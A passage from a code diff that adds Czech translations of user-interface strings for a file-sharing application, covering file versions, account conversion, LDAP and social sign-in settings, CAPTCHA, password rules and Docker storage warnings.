sdílen. Klienti se navzájem nevidí.", + "Everyone above, plus anyone who opens this file without logging in.": "Všichni výše a k tomu každý, kdo tento soubor otevře bez přihlášení.", + "Not signed in": "Nepřihlášen", + "New comment on \":name\"": "Nový komentář u \":name\"", + ":author commented on \":name\".": ":author okomentoval(a) \":name\".", + ":author commented on \":name\"": ":author okomentoval(a) \":name\"", + "Read the comment": "Přečíst komentář", + ":count new comments": "Nových komentářů: :count", + "There are :count new comments for you:": "Máte nových komentářů: :count", + "Someone": "Někdo", + "New comment on a file": "Nový komentář u souboru", + "Multiple new comments (digest)": "Více nových komentářů (souhrn)", + "Marked the file \":subject\" as a revision of \":previous\"": "Označil(a) soubor \":subject\" jako novou verzi \":previous\"", + "Removed the version link from the file \":subject\"": "Odebral(a) vazbu verzí ze souboru \":subject\"", + "A file was marked as a revision of another": "Soubor byl označen jako nová verze jiného", + "A file version link was removed": "Vazba verzí byla odebrána", + "A newer version of a file I have is available": "Je k dispozici novější verze souboru, který mám", + "A newer version of \":previousName\" is available: :itemName": "Je k dispozici novější verze \":previousName\": :itemName", + "A newer version of a file you have is available": "Je k dispozici novější verze souboru, který máte", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" byl nahrazen novější verzí: \":name\".", + ":count files you have were replaced by newer versions": "Soubory, které máte, byly nahrazeny novějšími verzemi (:count)", + "Newer versions of the following :count files are available:": "Jsou k dispozici novější verze těchto souborů (:count):", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Soubor nemůže být novou verzí sebe sama.", + "That file is already part of this file's version history.": "Tento soubor už patří do historie verzí tohoto souboru.", + "That file has already been revised by \":name\". Remove that link first.": "Tento soubor už nahradil \":name\". Nejprve odeberte tuto vazbu.", + "That file has just been revised by another file. Reload and try again.": "Tento soubor byl právě nahrazen jiným souborem. Načtěte stránku znovu a zkuste to opět.", + "This version history is too long. Remove an older link first.": "Tato historie verzí je příliš dlouhá. Nejprve odeberte starší vazbu.", + "That file can't be used as the previous version.": "Tento soubor nelze použít jako předchozí verzi.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Tento soubor už je sdílen s dalšími lidmi, takže jej nelze označit jako novou verzi. Požádejte svou kontaktní osobu, ať to udělá za vás.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Tento soubor je novou verzí \":name\". Sdílení spravujte u \":name\" — každá verze jej následuje.", + "This file is a new version of another file, and is shared with the same people as that one.": "Tento soubor je novou verzí jiného souboru a je sdílen se stejnými lidmi jako on.", + "Versions": "Verze", + "Mark this file as a newer version of something you uploaded before.": "Označte tento soubor jako novější verzi něčeho, co jste nahráli dříve.", + "This version is outdated": "Tato verze je zastaralá", + "It was replaced by \":name\".": "Byla nahrazena souborem \":name\".", + "This file is a new version of": "Tento soubor je novou verzí", + "Remove link": "Odebrat vazbu", + "Mark as a new version": "Označit jako novou verzi", + "Version history": "Historie verzí", + "Version link removed.": "Vazba verzí odebrána.", + "This file is now marked as a new version of \":name\".": "Tento soubor je nyní označen jako nová verze \":name\".", + "Share this file's recipients with the original?": "Přenést příjemce tohoto souboru na originál?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Nová verze se sdílí se stejnými lidmi jako originál. Tito příjemci daného souboru k němu budou přidáni, aby nikdo nepřišel o přístup:", + "No other files are available to link to.": "Nejsou k dispozici žádné další soubory, na které by šlo navázat.", + "Shared through \":name\"": "Sdíleno přes \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Tento soubor je novou verzí \":name\", proto je sdílen se stejnými lidmi. Změnit, kdo jej vidí, znamená změnit onen soubor.", + "Edit sharing on \":name\"": "Upravit sdílení u \":name\"", + "You don't have permission to change who that file is shared with.": "Nemáte oprávnění měnit, s kým je onen soubor sdílen.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Toto je nová verze \":name\" a je sdílena se stejnými lidmi. Sdílení spravujte u onoho souboru.", + "New version of": "Nová verze", + "Replaced by": "Nahrazeno souborem", + "Outdated": "Zastaralé", + "New version": "Nová verze", + "Replaced by :name": "Nahrazeno souborem :name", + "Replaces :name": "Nahrazuje :name", + "There is a newer version of this file": "Existuje novější verze tohoto souboru", + "This replaces": "Toto nahrazuje", + "This is a new version of a file I uploaded before": "Toto je nová verze souboru, který jsem nahrál(a) dříve", + "Search your files…": "Hledat ve svých souborech…", + "You have no earlier files that can be replaced.": "Nemáte žádné dřívější soubory, které by šlo nahradit.", + "This file will be shared with the same people who have \":name\".": "Tento soubor bude sdílen se stejnými lidmi, kteří mají \":name\".", + ":name (group)": ":name (skupina)", + "Search files…": "Hledat soubory…", + "Search…": "Hledat…", + "Searching…": "Hledání…", + "No files match \":search\".": "Dotazu \":search\" neodpovídá žádný soubor.", + "Nothing matches \":search\".": "Dotazu \":search\" nic neodpovídá.", + "A client account was converted to staff": "Klientský účet byl převeden na týmový", + "A staff account was converted to a client": "Týmový účet byl převeden na klientský", + "A client account was created from the directory": "Z adresáře byl vytvořen klientský účet", + "Converted the client account \":subject\" to staff (:role)": "Převedl(a) klientský účet \":subject\" na týmový (:role)", + "Converted the staff account \":subject\" to a client": "Převedl(a) týmový účet \":subject\" na klientský", + "Created a client account from the directory on first sign-in": "Vytvořil(a) při prvním přihlášení klientský účet z adresáře", + "Convert accounts": "Převádění účtů", + "Convert": "Převést", + "Convert to client": "Převést na klienta", + "Convert to staff": "Převést na týmový účet", + "Convert :name to a client": "Převést :name na klienta", + "Convert :name to staff": "Převést :name na týmový účet", + "Client → staff": "Klient → tým", + "Staff → client": "Tým → klient", + "Move an account between staff and clients. Files they uploaded are always kept.": "Přesuňte účet mezi týmem a klienty. Nahrané soubory se vždy zachovají.", + "They lose access to every staff screen immediately.": "Přístup ke všem týmovým obrazovkám okamžitě zaniká.", + "They gain access to the staff screens their role allows.": "Vzniká přístup k týmovým obrazovkám, které role povoluje.", + "Will be revoked": "Bude odebráno", + "Will be revoked and cannot be undone": "Bude odebráno a nelze to vrátit zpět", + "Will be kept": "Zůstane zachováno", + "Nothing": "Nic", + "Nothing to keep": "Není co zachovat", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Zpětný převod obnoví vše ze sekce „Zůstane zachováno“. Neobnoví to, co bylo odebráno.", + ":files files and :folders folders they uploaded": "Soubory (:files) a složky (:folders), které tento účet nahrál", + "No accounts match these filters.": "Těmto filtrům neodpovídá žádný účet.", + "Account converted to a client.": "Účet převeden na klienta.", + "Account converted to staff.": "Účet převeden na týmový.", + "Approve or deny this account request before converting it.": "Před převodem tuto žádost o účet schvalte nebo zamítněte.", + "You cannot convert your own account.": "Vlastní účet převést nemůžete.", + "New password": "Nové heslo", + "New password (optional)": "Nové heslo (nepovinné)", + "Leave blank to keep their current password.": "Nechte prázdné pro zachování stávajícího hesla.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Tento účet se přihlašuje přes váš adresář. Týmové účty to nikdy nedělají, takže potřebuje heslo zde — jinak se nepřihlásí vůbec.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Nastavte tomuto účtu heslo. Dnes se přihlašuje přes váš adresář, což týmové účty nikdy nedělají.", + "Tokens created": "Vytvořené tokeny", + "Currently active": "Aktuálně aktivní", + ":count active": "Aktivních: :count", + "1 permission": "1 oprávnění", + ":count permissions": "Oprávnění: :count", + "This token carries no permissions.": "Tento token nenese žádná oprávnění.", + "This account has created API tokens before, but none are live now.": "Tento účet už API tokeny vytvářel, ale žádný teď není aktivní.", + "This account has never created an API token.": "Tento účet nikdy nevytvořil API token.", + "No longer granted to this account, so it does nothing.": "Tomuto účtu už není uděleno, takže nic nedělá.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Vytvářet, měnit a zneplatňovat je může pouze :name — administrátor je vidí, ale nespravuje.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Co tento token smí přes API. Nikdy nezvládne víc, než smí :name.", + "LDAP": "LDAP", + "LDAP settings": "Nastavení LDAP", + "LDAP settings saved.": "Nastavení LDAP uloženo.", + "Directory": "Adresář", + "Connection": "Připojení", + "Server": "Server", + "Base DN": "Základní DN", + "Service account DN": "DN servisního účtu", + "Service account password": "Heslo servisního účtu", + "Email attribute": "Atribut e-mailu", + "Name attribute": "Atribut jména", + "Additional filter (optional)": "Doplňkový filtr (nepovinné)", + "CA certificate path (optional)": "Cesta k certifikátu CA (nepovinné)", + "None (unencrypted)": "Žádné (nešifrované)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (implicitní TLS)", + "Allow clients to sign in with a directory account": "Umožnit klientům přihlášení účtem z adresáře", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Nechte klienty přihlašovat se účtem z adresáře. Tým se vždy ověřuje místně.", + "Create an account on first sign-in": "Vytvořit účet při prvním přihlášení", + "Directory accounts are always created as clients, never as staff.": "Účty z adresáře se vždy zakládají jako klientské, nikdy jako týmové.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Kdo je v adresáři, ale nemá zde účet, dostane klientský účet a je okamžitě přihlášen.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Kdo je v adresáři, ale nemá zde účet, dostane klientský účet, který čeká na schválení v Žádostech o účet.", + "Only people who already have an account here can sign in.": "Přihlásit se mohou pouze lidé, kteří zde už mají účet.", + "Combined with the address match, to narrow who may sign in.": "Kombinuje se se shodou adresy, aby se zúžilo, kdo se smí přihlásit.", + "The attribute holding the address people sign in with — usually mail.": "Atribut obsahující adresu, kterou se lidé přihlašují — obvykle mail.", + "Where in the tree to look for people.": "Kde ve stromu hledat osoby.", + "Leave blank to search anonymously.": "Nechte prázdné pro anonymní vyhledávání.", + "Stored encrypted, and never shown again.": "Ukládá se šifrovaně a už se nikdy nezobrazí.", + "Stored encrypted. Leave blank to keep the current one.": "Ukládá se šifrovaně. Nechte prázdné pro zachování stávajícího.", + "For a directory presenting a certificate from your own certificate authority.": "Pro adresář, který předkládá certifikát od vaší vlastní certifikační autority.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Nešifrované: heslo servisního účtu i heslo každého klienta putují sítí v čitelné podobě.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Když se heslo klienta místně nerozpozná, ověří se vůči adresáři. Týmové účty se vždy ověřují místně a nikdy se tam neposílají.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "Rozšíření PHP LDAP není na tomto serveru nainstalováno, takže tato nastavení nemohou fungovat.", + "The PHP LDAP extension is not installed on this server.": "Rozšíření PHP LDAP není na tomto serveru nainstalováno.", + "Saves are not required to test — but the test uses the settings as last saved.": "K otestování není nutné ukládat — test však používá nastavení v naposledy uložené podobě.", + "Test a sign-in": "Otestovat přihlášení", + "Email address (optional)": "E-mailová adresa (nepovinné)", + "Password (optional)": "Heslo (nepovinné)", + "Connected and bound as the service account.": "Připojeno a ověřeno jako servisní účet.", + "Could not connect or bind as the service account: :error": "Nepodařilo se připojit ani ověřit jako servisní účet: :error", + "Found a matching entry.": "Nalezen odpovídající záznam.", + "No directory entry matched that address under the base DN.": "Pod základním DN neodpovídá této adrese žádný záznam adresáře.", + "The directory rejected that password.": "Adresář toto heslo odmítl.", + "The search failed: :error": "Vyhledávání selhalo: :error", + "The sign-in bind failed: :error": "Ověření při přihlášení selhalo: :error", + "Signed in successfully.": "Přihlášení proběhlo úspěšně.", + "1 item": "1 položka", + ":count items": "Položek: :count", + "1 API token": "1 API token", + ":count API tokens": "API tokenů: :count", + "1 assigned client": "1 přiřazený klient", + ":count assigned clients": "Přiřazených klientů: :count", + "Managed by 1 staff member": "Spravuje 1 člen týmu", + "Managed by :count staff members": "Počet členů týmu, kteří to spravují: :count", + "1 group membership": "1 členství ve skupině", + ":count group memberships": "Členství ve skupinách: :count", + "1 file shared with them": "1 soubor sdílený s tímto účtem", + ":count files shared with them": "Souborů sdílených s tímto účtem: :count", + "Approve these accounts automatically": "Schvalovat tyto účty automaticky", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "Váš adresář už jejich totožnost potvrdil, takže není koho prověřovat. Nechte vypnuté, chcete-li každý účet nejprve posoudit v Žádostech o účet.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "Klienti, kteří se registrují sami, se schvalují automaticky — toto nastavení je samostatné a neřídí se tím.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "Klienti, kteří se registrují sami, na schválení stále čekají — toto nastavení je samostatné a nic na tom nemění.", + "Container filesystem": "Souborový systém kontejneru", + "Docker volume": "Svazek Dockeru", + "Files stored on": "Soubory uloženy na", + "Host directory": "Adresář hostitele", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "To znamená, že docker compose down -v i docker volume prune je smažou a záloha vašeho serveru je může úplně minout.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Neleží na žádném svazku, takže přestavba nebo opětovné vytvoření tohoto kontejneru trvale smaže každý soubor. Než nahrajete cokoli dalšího, přesuňte je do adresáře na hostiteli.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Přežijí aktualizace, ale leží na svazku spravovaném Dockerem, ne v adresáři, který jste zvolili.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Přežijí aktualizace, ale leží na svazku Dockeru :volume, ne v adresáři, který jste zvolili.", + "Uploaded files are inside Docker": "Nahrané soubory jsou uvnitř Dockeru", + "Uploaded files are stored inside the container": "Nahrané soubory se ukládají uvnitř kontejneru", + "1 more language available": "K dispozici je ještě 1 jazyk", + ":count more languages available": "Dostupných dalších jazyků: :count", + ":left of :limit downloads left": "Zbývá stažení: :left z :limit", + ":limit downloads per person": "Stažení na osobu: :limit", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name se bude přihlašovat pouze heslem, dokud to znovu nenastaví, a o této změně obdrží e-mail. Pokud je na tomto webu vyžadováno dvoufaktorové ověření, bude při příštím přihlášení požádán, aby si ho znovu zapnul.", + ":provider accepted your secret key.": ":provider přijal váš tajný klíč.", + ":provider connected.": ":provider připojen.", + ":provider did not provide an email address, which is required to sign in.": ":provider neposkytl e-mailovou adresu, která je pro přihlášení nutná.", + ":provider disconnected.": ":provider odpojen.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider nikdy nehlásí, zda je adresa ověřená, takže se zapnutou touto volbou může vytvářet nové účty, ale nikdy se nepřihlásí k existujícímu. Připojení z Nastavení, když už jste přihlášeni, stále funguje.", + ":provider rejected your secret key.": ":provider odmítl váš tajný klíč.", + ":provider settings saved.": "Nastavení :provider uloženo.", + ":used of :limit downloads used": "Využito stažení: :used z :limit", + "A :provider account was connected": "Byl připojen účet :provider", + "A :provider account was disconnected": "Byl odpojen účet :provider", + "Accounts at :domain cannot sign in with :provider here.": "Účty z :domain se zde nemohou přihlásit přes :provider.", + "A client account was created from :provider": "Z :provider byl vytvořen účet klienta", + "Allowed email domains": "Povolené e-mailové domény", + "Allow signing in with :provider": "Povolit přihlášení přes :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Vždy účet klienta. Účty týmu vytváří pouze administrátor.", + "Always available — the application is written in English, so it needs no translation file.": "Vždy dostupné — aplikace je napsaná v angličtině, takže nepotřebuje soubor s překladem.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Tuto e-mailovou adresu už používá jiný účet a :provider nepotvrdil, že patří vám. Přihlaste se raději heslem a připojte :provider ve svém nastavení.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Adresu, kterou poskytovatel nepotvrdil, nelze nikdy přiřadit k účtu, který zde už existuje. Vypnutí této volby znamená, že kdokoli, kdo se u vašeho poskytovatele může zaregistrovat pod cizí adresou, se může přihlásit jako daná osoba.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Administrátor odstranil z vašeho účtu dvoufaktorové ověření. Můžete si ho znovu nastavit v nastavení zabezpečení. Pokud jste to nečekali, obraťte se na svého administrátora.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Kdokoli, kdo se dostane k souboru, vidí kategorie, které jsou k němu přiřazeny — klient ve svém portálu nebo kdokoli s veřejným či sdíleným odkazem. Přihlášení klienti mohou také filtrovat své soubory podle kterékoli kategorie z tohoto seznamu. Vytvářet je, přejmenovávat a mazat může jen váš tým.", + "Applies whenever a password is chosen, not when one is used to sign in": "Platí pokaždé, když je zvoleno heslo, ne když se používá k přihlášení", + "Approve those accounts automatically": "Schvalovat tyto účty automaticky", + "A secret is stored. Leave this blank to keep it.": "Tajemství je uloženo. Ponechte prázdné, chcete-li ho zachovat.", + "At least :count characters.": "Minimální počet znaků: :count.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Mezi 0.0 (považovat každého za robota) a 1.0 (považovat každého za člověka). Obvyklá hodnota je 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "CAPTCHA je vypnutá. Vyberte poskytovatele a zadejte jeho klíče, abyste ji zapnuli.", + "CAPTCHA settings saved.": "Nastavení CAPTCHA uloženo.", + "Categories are visible outside your team": "Kategorie jsou viditelné i mimo váš tým", + "Change yours": "Změnit vaši", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Kontroluje nová hesla proti databázi úniků Have I Been Pwned. Samotné heslo tento server nikdy neopustí — odesílá se jen prvních pět znaků jeho otisku.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Ověří tajný klíč u vašeho poskytovatele. Nikdo nemusí řešit žádnou úlohu.", + "Client ID": "ID klienta", + "Client registration": "Registrace klientů", + "Client secret": "Tajný klíč klienta", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Oddělené čárkami. Ponechte prázdné, chcete-li povolit jakoukoli adresu.", + "Comments from visitors": "Komentáře od návštěvníků", + "Complete the security check and try again.": "Dokončete bezpečnostní kontrolu a zkuste to znovu.", + "Configure it myself": "Nastavím to sám", + "Connected": "Připojeno", + "Connected accounts": "Připojené účty", + "Connected the :provider account of \":subject\"": "Připojil účet :provider osoby „:subject“", + "Continue with :provider": "Pokračovat přes :provider", + "Could not reach :provider: :error": "Nepodařilo se spojit s :provider: :error", + "Created a client account from :provider on first sign-in": "Při prvním přihlášení vytvořil účet klienta z :provider", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Data a časy v celé aplikaci se zobrazují v tomto pásmu. Bylo zjištěno z vašeho prohlížeče při prvním přihlášení.", + "Default language": "Výchozí jazyk", + "Directory (tenant) ID": "ID adresáře (tenanta)", + "Disabled": "Vypnuto", + "Disconnect": "Odpojit", + "Disconnected the :provider account of \":subject\"": "Odpojil účet :provider osoby „:subject“", + "Downloaded :count time(s) so far. Your own downloads never count.": "Dosavadní počet stažení: :count. Vaše vlastní stažení se nikdy nepočítají.", + "Download limit": "Limit stažení", + "Download limit reached": "Byl dosažen limit stažení", + "Each person separately": "Každá osoba zvlášť", + "Enabled": "Zapnuto", + "Enter a secret key first.": "Nejprve zadejte tajný klíč.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Zadejte konkrétní ID tenanta. Sdílené koncové body „common“, „organizations“ a „consumers“ umožňují libovolnému tenantovi Microsoftu tvrdit libovolnou e-mailovou adresu.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Níže jsou uvedeny všechny jazyky nainstalované na tomto serveru. Zaškrtněte ty, které chcete nabídnout v jazykové nabídce — tým, klienti i veřejní návštěvníci uvidí pouze je. Instalace dalšího jazyka spočívá v přidání jeho souboru s překladem do složky lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Stávající hesla se nikdy znovu nekontrolují, takže zvýšení této hodnoty ovlivní jen hesla zvolená od této chvíle.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "Celkem, napříč všemi", + "Issuer URL": "URL vydavatele", + "Languages": "Jazyky", + "Language settings": "Nastavení jazyka", + "Leave empty for a file that can be downloaded any number of times.": "Ponechte prázdné pro soubor, který lze stáhnout libovolněkrát.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "Délka je zdaleka nejdůležitějším faktorem toho, jak těžké je heslo uhodnout, a proto zde nejsou pravidla typu „musí obsahovat velké písmeno“ — tlačí lidi k předvídatelným záměnám a kratším heslům.", + "Let people sign in with an account they already have somewhere else.": "Umožněte lidem přihlásit se účtem, který už někde mají.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Minimální délka", + "No limit": "Bez limitu", + "None selected": "Nic nevybráno", + "No sign-in providers have been set up for this site.": "Pro tento web nebyli nastaveni žádní poskytovatelé přihlášení.", + "Not connected": "Nepřipojeno", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Vypnuto znamená, že čekají v Žádostech o účet. Adresa, kterou poskytovatel neověřil, čeká vždy, ať toto nastavení říká cokoli.", + "Off — no CAPTCHA": "Vypnuto — bez CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Nebo pokračujte přes", + "Or sign up with": "Nebo se zaregistrujte přes", + "Passwords": "Hesla", + "Passwords that appear in known data breaches are not accepted.": "Hesla, která se objevují ve známých únicích dat, nejsou přijímána.", + "Protection": "Ochrana", + "Protect these forms": "Chránit tyto formuláře", + "Protect your public forms from automated abuse": "Chraňte své veřejné formuláře před automatizovaným zneužitím", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI přesměrování", + "Register this exact address with :provider. It must match character for character.": "Zaregistrujte přesně tuto adresu u :provider. Musí se shodovat znak po znaku.", + "Reject passwords found in known data breaches": "Odmítat hesla nalezená ve známých únicích dat", + "Removed two-factor authentication from \":subject\"": "Odstranil dvoufaktorové ověření osobě „:subject“", + "Remove the limit": "Odebrat limit", + "Remove two-factor authentication": "Odstranit dvoufaktorové ověření", + "Remove two-factor authentication?": "Odstranit dvoufaktorové ověření?", + "Require a verified email address": "Vyžadovat ověřenou e-mailovou adresu", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Spusťte je jako uživatel, pod kterým běží váš webový server. Celý postup najdete v INSTALL.md.", + "Score threshold": "Práh skóre", + "Search timezones…": "Hledat časová pásma…", + "Security check failed. Please try again.": "Bezpečnostní kontrola selhala. Zkuste to prosím znovu.", + "Service": "Služba", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Nastavte pro tento účet heslo. Nikdy žádné neměl — přihlašuje se přes připojeného poskytovatele a účet týmu potřebuje přihlašovací údaj, který si tato aplikace může ověřit sama.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Přihlášení návštěvníci nikdy nemusí při komentování řešit žádnou úlohu.", + "Sign in": "Přihlásit se", + "Sign in with an account you already have somewhere else.": "Přihlaste se účtem, který už někde máte.", + "Site key": "Klíč webu", + "Social login": "Přihlášení přes sociální sítě", + "Stored encrypted and never shown again, not even to you.": "Uloženo zašifrovaně a už nikdy nezobrazeno, ani vám.", + "Stored — leave blank to keep it": "Uloženo — ponechte prázdné, chcete-li ho zachovat", + "Testing…": "Probíhá test…", + "Test keys": "Otestovat klíče", + "That :provider account is already connected to another account here.": "Tento účet :provider je zde už připojen k jinému účtu.", + "That sign-in could not be completed. Please try again.": "Toto přihlášení se nepodařilo dokončit. Zkuste to prosím znovu.", + "That sign-in method is not available.": "Tento způsob přihlášení není dostupný.", + "The default language has to be one of the languages you are offering.": "Výchozí jazyk musí být jedním z jazyků, které nabízíte.", + "The endpoints are read from this address, so it is the whole configuration. Must be https.": "Koncové body se načítají z této adresy, takže je to celá konfigurace. Musí být https.", + "The expiry date must be in the future.": "Datum vypršení musí být v budoucnosti.", + "The issuer URL must start with https://.": "URL vydavatele musí začínat na https://.", + "The public key. It appears in your pages’ source, which is expected.": "Veřejný klíč. Objevuje se ve zdrojovém kódu vašich stránek, což je v pořádku.", + "There is no account here for that address.": "Pro tuto adresu zde není žádný účet.", + "The security check could not be loaded. Check that your browser or network is not blocking it, then reload the page.": "Bezpečnostní kontrolu se nepodařilo načíst. Zkontrolujte, že ji váš prohlížeč nebo síť neblokuje, a znovu načtěte stránku.", + "This account does not use an authenticator app.": "Tento účet nepoužívá autentizační aplikaci.", + "This account has never had a password of its own — it signs in through a connected provider. Staff need a credential this application can check on its own, so that a provider outage cannot lock them out.": "Tento účet nikdy neměl vlastní heslo — přihlašuje se přes připojeného poskytovatele. Tým potřebuje přihlašovací údaj, který si tato aplikace může ověřit sama, aby ho výpadek poskytovatele nezamkl venku.", + "This account signs in with an authenticator app. Remove it only if the account holder has lost both the app and their recovery codes.": "Tento účet se přihlašuje autentizační aplikací. Odeberte ji jen tehdy, pokud majitel účtu ztratil jak aplikaci, tak záložní kódy.", + "This file has reached its download limit.": "Tento soubor dosáhl svého limitu stažení.", + "This is the only way you can sign in. Set a password first, then disconnect :provider.": "Toto je jediný způsob, jak se můžete přihlásit. Nejprve nastavte heslo a poté odpojte :provider.", + "This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.": "Tento web je chráněn službou reCAPTCHA a platí Zásady ochrany soukromí a Smluvní podmínky společnosti Google.", + "Those files have reached their download limit.": "Tyto soubory dosáhly svého limitu stažení.", + "Timezone": "Časové pásmo", + "To update, back up your database and files, then:": "Chcete-li aktualizovat, zazálohujte databázi a soubory a poté:", + "To update, follow the steps in INSTALL.md — back up first, then unpack the release and run the migrations.": "Chcete-li aktualizovat, postupujte podle kroků v INSTALL.md — nejprve zálohujte, pak rozbalte vydání a spusťte migrace.", + "Turn this off only if this server should make no outbound requests. If the service cannot be reached the password is accepted anyway, so an offline installation is never blocked by it.": "Vypněte to jen tehdy, pokud tento server nemá provádět žádné odchozí požadavky. Pokud službu nelze kontaktovat, heslo se stejně přijme, takže offline instalace tím nikdy není blokována.", + "Two-factor authentication removed.": "Dvoufaktorové ověření odstraněno.", + "Two-factor authentication removed by an admin": "Dvoufaktorové ověření odstraněné administrátorem", + "Two-factor authentication was removed by an administrator": "Dvoufaktorové ověření odstranil administrátor", + "Two-factor authentication was removed from your account": "Z vašeho účtu bylo odstraněno dvoufaktorové ověření", + "Unexpected reply from :provider: :codes": "Neočekávaná odpověď od :provider: :codes", + "Used for anyone who has not chosen a timezone of their own, including visitors to your public pages and share links. Each account can set its own in their profile.": "Použije se pro každého, kdo si nezvolil vlastní časové pásmo, včetně návštěvníků vašich veřejných stránek a sdílených odkazů. Každý účet si může nastavit vlastní ve svém profilu.", + "Use ProjectSend’s protection": "Použít ochranu ProjectSend", + "Use your own reCAPTCHA or Turnstile account.": "Použijte vlastní účet reCAPTCHA nebo Turnstile.", + "Verification could not be reached recently, so protected forms are being let through unchecked. Nobody is locked out.": "Ověření bylo v poslední době nedostupné, takže chráněné formuláře procházejí bez kontroly. Nikdo není zamčen venku.", + "We protect your public forms for you. Nothing to set up, no keys to manage.": "Chráníme vaše veřejné formuláře za vás. Nic nenastavujete, žádné klíče nespravujete.", + "What people see before they have chosen anything. A signed-in account keeps its own choice, and a visitor whose browser asks for one of the languages above gets that one — this is the answer for everyone else.": "To, co lidé vidí, než si cokoli zvolí. Přihlášený účet si zachovává vlastní volbu a návštěvník, jehož prohlížeč žádá jeden z výše uvedených jazyků, dostane právě ten — toto je odpověď pro všechny ostatní.", + "Which languages people can choose from": "Z jakých jazyků si lidé mohou vybírat", + "Your account was created through one of these providers and has no password of its own, so the last connection cannot be removed. Set a password first if you want to disconnect it.": "Váš účet byl vytvořen přes jednoho z těchto poskytovatelů a nemá vlastní heslo, takže poslední připojení nelze odebrat. Pokud ho chcete odpojit, nejprve nastavte heslo.", + "Your own account is set to :timezone, so this will not change how dates look to you.": "Váš účet je nastaven na :timezone, takže se tím nezmění, jak data vypadají pro vás.", + "Your own tenant, not \"common\". Microsoft lets a user change the email address on their account, so a sign-in is only trustworthy when the token came from the tenant you named here.": "Váš vlastní tenant, ne „common“. Microsoft umožňuje uživateli změnit e-mailovou adresu účtu, takže přihlášení je důvěryhodné jen tehdy, když token přišel od tenanta, kterého jste zde uvedli.", + "Your provider rejected this installation’s secret key, so protected forms are being let through unchecked. Check the secret key below.": "Váš poskytovatel odmítl tajný klíč této instalace, takže chráněné formuláře procházejí bez kontroly. Zkontrolujte tajný klíč níže.", + "Your public forms are protected. You can switch to your own keys at any time.": "Vaše veřejné formuláře jsou chráněny. Kdykoli můžete přejít na vlastní klíče." +} diff --git a/lang/cs/actions.php b/lang/cs/actions.php new file mode 100644 index 00000000..7f679fe7 --- /dev/null +++ b/lang/cs/actions.php @@ -0,0 +1,119 @@ + 'Akceptovat', + 'action' => 'Akce', + 'actions' => 'Akce', + 'add' => 'Přidat', + 'admin' => 'Admin', + 'agree' => 'Souhlasit', + 'archive' => 'Archiv', + 'assign' => 'Přiřadit', + 'associate' => 'Spolupracovník', + 'attach' => 'Připojit', + 'browse' => 